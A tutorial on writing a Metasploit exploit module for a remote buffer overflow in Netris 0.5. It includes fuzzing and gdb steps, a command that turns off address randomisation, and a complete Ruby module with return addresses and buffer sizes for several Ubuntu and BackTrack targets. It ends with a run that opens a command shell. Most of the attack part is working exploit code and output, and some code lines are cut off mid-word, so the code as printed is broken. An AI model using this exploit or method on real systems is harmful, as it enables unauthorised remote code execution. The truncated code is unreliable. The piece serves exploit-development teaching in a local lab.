Developing an Exploit Using the Metasploit Framework

Contents

1 Introduction

In this tutorial, I will show you how to create an exploit module for the Metasploit Framework starting from a vulnerability report.

2 The Vulnerability

The program I chose to exploit is Netris 0.5. I chose this because it's vulnerability is a simple buffer overflow, it is remote, and there is already a working exploit out there that we can use as a starting point. You can reference this vulnerability here[1] Note that this vulnerability applies only to version 0.5.

3 Getting Started

First off, get the source for Netris 0.5. You can get it here[2]. Compile it, and make sure it runs without error.

The released exploit for this explains that our buffer should look like this:

```
[68 filler bytes][nops][shellcode][return address]
```

However, lets begin with something a little more simple. Let's see what happens when we send a whole bunch of "A"s at the Netris server.

In one shell:

```
$ gdb netris
```

Now you are in gdb and ready to run Netris. From the gdb prompt, start the server:

```
(gdb) run -w
```

Now, in another shell:

```
$ ruby -e 'print "A"*16000'| nc localhost 9284
```

You may need to `ctrl+c` out of netcat, but when that is done, take a look at your gdb session. It should look like this:

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

This is prefect. What this shows is that we just overwrote the instruction pointer `($eip)` to `0x41414141`, which is hex for `AAAA`.

Since we can control the instruction pointer, we can control the flow of this program. From here on out, you may need to set your kernel to not use randomized virtual addressing. You can do this with sysctrl using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

This is so the buffer will be stored in relatively the same place each time, allowing us to return into it.

[1] http://www.securityfocus.com/bid/5680

[2] ftp://ftp.netris.org/pub/netris/

4 On to the Framework

First, start out with a relatively generic exploit script. You can just copy one of the Linux exploits under `modules/exploits/linux` to get started.

```
require 'msf/core'

module Msf

class Exploits::Mine::Netris < Msf::Exploit::Remote

    include Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Netris 0.5 Buffer Overflow (Linux)',
            'Description'    => %q{
                      Netris 0.5 exploit.
                   Discovery of this issue is credited to Artur Byszko / bajkero.
            },
            'Version'     => '0.1.0',
            'Author'         => ['dougsko'],
            'License'        => GPL_LICENSE,
            'References'     =>
                [
                    [ 'BID', '5680'],
                    [ 'CVE', '2002-1566' ],
                    [ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
                    [ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
                ],
            'Privileged'     => false,
            'Payload'     =>
                {
                    'Space' => 1024,

                },
            'Platform'    => ['linux'],
            'Targets'    =>
                [
                    [ 'Ubuntu 8.04',
                        { 'Ret'        => 0x80522b0,
                          'Arch'    => [ARCH_X86 ],
                          'BufSize'    => 9692,
                        }
                    ],
```

```
            ],
          'DisclosureDate' => '08/14/2003',
          'DefaultTarget'  => 0 ))

          register_options( [ Opt::RPORT(9284) ], self.class)
    end

    def exploit
    end
end
end
```

Notice that I have already filled in some of the specific information about this exploit. The next big piece of info that we need is the return address. We need an address that will point back to somewhere within our buffer. Finding this address can be a little tricky, but here's how I did it:

- Run Netris in gdb.
- Overflow it with a bunch of "A"s.
- Take a look at the netBuf function, since this is near where the overflow is happening. (You did read the vulnerability notes right...?)

```
(gdb) x/20s netBuf
0x8052260 <netBuf>:      'A' <repeats 64 times>
0x80522a1 <netBufSize+1>:        ""
0x80522a2 <netBufSize+2>:        ""
0x80522a3 <netBufSize+3>:        ""
0x80522a4 <isServer>:    'A' <repeats 200 times>...
0x805236c:       'A' <repeats 200 times>...
0x8052434 <opponentHost+116>:    'A' <repeats 200 times>...
0x80524fc <scratch+28>:  'A' <repeats 200 times>...
0x80525c4 <scratch+228>:         'A' <repeats 200 times>...
0x805268c <scratch+428>:         'A' <repeats 200 times>...
0x8052754 <scratch+628>:         'A' <repeats 200 times>...
0x805281c <scratch+828>:         'A' <repeats 200 times>...
0x80528e4 <curShape>:    'A' <repeats 200 times>...
0x80529ac:       'A' <repeats 200 times>...
0x8052a74:       'A' <repeats 200 times>...
0x8052b3c:       'A' <repeats 200 times>...
0x8052c04:       'A' <repeats 200 times>...
0x8052ccc:       'A' <repeats 200 times>...
0x8052d94:       'A' <repeats 200 times>...
0x8052e5c:       'A' <repeats 200 times>...
```

Notice that after `0x80529ac`, memory is basically filled with our `A`'s. I just picked a random address somewhere after that and used `0x80522b0`. This is OK, since we'll be using a large NOP sled we won't have to be very accurate when it comes to the return address. The next step is to find out just how long our buffer needs to be in order to overflow the buffer, but still overwrite the EIP register properly with out return address.

To do this, we'll use the scripts patter_create.rb, and pattern_offset.rb under the tools folder. First, start up Netris in gdb again:

```
$ gdb netris
(gdb) run -w
```

In another shell use the pattern_create.rb script to create your overflow string:
`./pattern_create.rb 16000| nc localhost 9284`
This will cause an overflow:

```
Program received signal SIGSEGV, Segmentation fault.
0x316c4d30 in ?? ()
```

Now, we see that the EIP has been overwritten with `0x316c4d30`, which is the pattern of letters that we sent to the server. To find just how big of a buffer it took to do this, we use pattern_offset.rb:

```
./pattern_offset.rb 0x316c4d30 16000
9692
```

We see that our buffer size should be 9692 bytes long. Put that into the target definition in our exploit module. We are now ready to get down to business.

5 Taking Over

All we have to do now is define our exploit method in the module we are writing.

```
def exploit
                print_status("Generating buffer")
                buf = make_nops(target['BufSize'] - payload.encoded.length) + payl

                print_status("Sending \#{buf.size} byte buffer...")
                connect
                sock.put(buf)
                sock.get
                handler
                disconnect
        end
```

This sets up our attack buffer like so:

```
[NOPs][shellcode][return address] total: 9692 bytes
```

Then, we send it out with `sock.put(buf)`. The framework really takes care of most of the other details involved, including shellcode generation. Here is what my final exploit module looks like:

```
require 'msf/core'

module Msf

class Exploits::Mine::Netris < Msf::Exploit::Remote

    include Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Netris 0.5 Buffer Overflow (Linux)',
            'Description'    => %q{
                      Netris 0.5 exploit.
                   Discovery of this issue is credited to Artur Byszko / bajkero.
            },
            'Version'     => '0.1.0',
            'Author'         => ['dougsko'],
            'License'        => GPL_LICENSE,
            'References'     =>
                [
                    [ 'BID', '5680'],
                    [ 'CVE', '2002-1566' ],
                    [ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
                    [ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
                ],
            'Privileged'     => false,
            'Payload'     =>
                {
                    'Space' => 1024,

                },
            'Platform'    => ['linux'],
            'Targets'    =>
                [
                    [ 'Ubuntu 6.06',
                        { 'Ret'        => 0x80544f0,
                          'Arch'    => [ ARCH_X86 ],
                          'BufSize'    => 11552,
                        }
                    ],

                    [  'Ubuntu 7.04',
```

```
                        { 'Ret'        => 0x80544f0,
                              'Arch'        => [ ARCH_X86 ],
                          'BufSize'     => 12148,
                        }
                    ],

                    [ 'Ubuntu 8.04',
                        { 'Ret'        => 0x80522b0,
                          'Arch'    => [ARCH_X86 ],
                          'BufSize'    => 9692,
                        }
                    ],

                    [  'Backtrack 2',
                        { 'Ret'         => 0x80544f0,
                          'Arch'        => [ ARCH_X86 ],
                            'BufSize'     => 12120,
                        }

                    ],

                ],
            'DisclosureDate' => '08/14/2003',
            'DefaultTarget'  => 0 ))

            register_options( [ Opt::RPORT(9284) ], self.class)
    end

    def exploit
        print_status("Generating buffer")
        #buf = pattern_create(16000) # debug
        #buf = "A"*(target['BufSize'] +4)
        buf = make_nops(target['BufSize'] - payload.encoded.length) + payload.encoc

        print_status("Sending \#{buf.size} byte buffer...")
        connect
        sock.put(buf)
        sock.get
        handler
        disconnect
    end
end
end
```

Make a folder called `mine` under `modules/exploits/`, and put that file in it. Here is what it looks like when you run the exploit. Note that I am running the Netris server as user `doug`.

```
./msfcli mine/netris rhost=localhost target=2 payload=linux/x86/shell_bind_tcp E

[*] Started bind handler
[*] Generating buffer
[*] Sending 9696 byte buffer...
[*] Command shell session 1 opened (127.0.0.1:36044 -> 127.0.0.1:4444)

id
uid=1000(doug) gid=1000(doug) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(aud
```

6 Wrap It Up

So that's it. We just went from vulnerability report to a working exploit. I seem to have the best luck using the `linux/x86/shell_bind_tcp` payload. I hope that helps make using the MSF a little less daunting and shows you just how powerful it can be. Have fun!